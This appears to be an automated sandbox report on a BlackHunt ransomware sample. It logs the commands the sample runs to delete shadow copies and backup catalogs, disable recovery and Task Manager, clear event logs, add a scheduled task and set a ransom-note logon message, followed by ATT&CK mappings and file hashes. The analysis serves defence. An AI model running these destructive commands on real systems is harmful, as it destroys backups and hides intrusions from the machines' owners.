    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:3012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1144
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1340
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1080
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2836
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe" /F
  2⤵
  PID:2804
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2924
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1764
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2944
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2980
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2912
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2340
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1628
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:932
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2388
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2408
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2560
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:3028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:972
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:1120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2816
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:2564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3388
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:2756
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2968
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3528
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:204
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2408
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3944
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1420
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2088
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3452
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2692
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:2948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2172
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:2588
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:3364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2284
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:3756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3176
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2668
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:4008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:3612
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:1516
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3936
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe"
  2⤵
  - Deletes itself
  PID:1608
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2980

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "2002593085793851218186512621678374982-544455729745143644-19917183831928460587"
1⤵
- Suspicious use of WriteProcessMemory
PID:3056

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3064

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3144

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1124

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:3296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
a3f8ab26a6ca03677d9e43b344891895

SHA1
ba74b8fd52e216f51f9dcc605e5b7b275a2b795c

SHA256
5f30936a5f55f48ab7ad40d8e674aa3c89fa2ac77ce5eb0bd5b1611e30dd2f78

SHA512
863c460defbc5ff2e43df3f3a5a86e3f4e8f994989e27e48414810b11136b6e7aba62d960ae41440e3b258546df5a4cc9e78efb0906135a5d0d4b21f21a0642c

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
366bb242256156a7af01a18d5d70b42c

SHA1
cbd42b7ea3169d8e5d1e767311659d42ee755a8a

SHA256
07dda645877a09e0a82f88ae5d0ae8d57312efb5882a9bd720e1e381a1ea298c

SHA512
807da047c484bc0ca9ce367b09e7d48cbe1aa978e4e0274ee586a7706cc34549ac501c49003647092e2cb91927cdb9d23d3a23935d4f84865b7b10a84f0fe287

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
ddea0e985cebbb7318f7bc6e09850262

SHA1
67ed4fbe7c1926a917e76e5ae7bad202a2b2f271

SHA256
9b0f0eec2bc8679e1ebca1ed2f6e81dce798d5505402273d00e5efa660b7110c

SHA512
ca005941923a7dc7930514a845ad6931e29c8f9633c119db9bc67842fdc71714f5a16a0b053afcd62c1e7f62268c9db4798eef52c29eaf594d0a8e9a16ac68e2

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads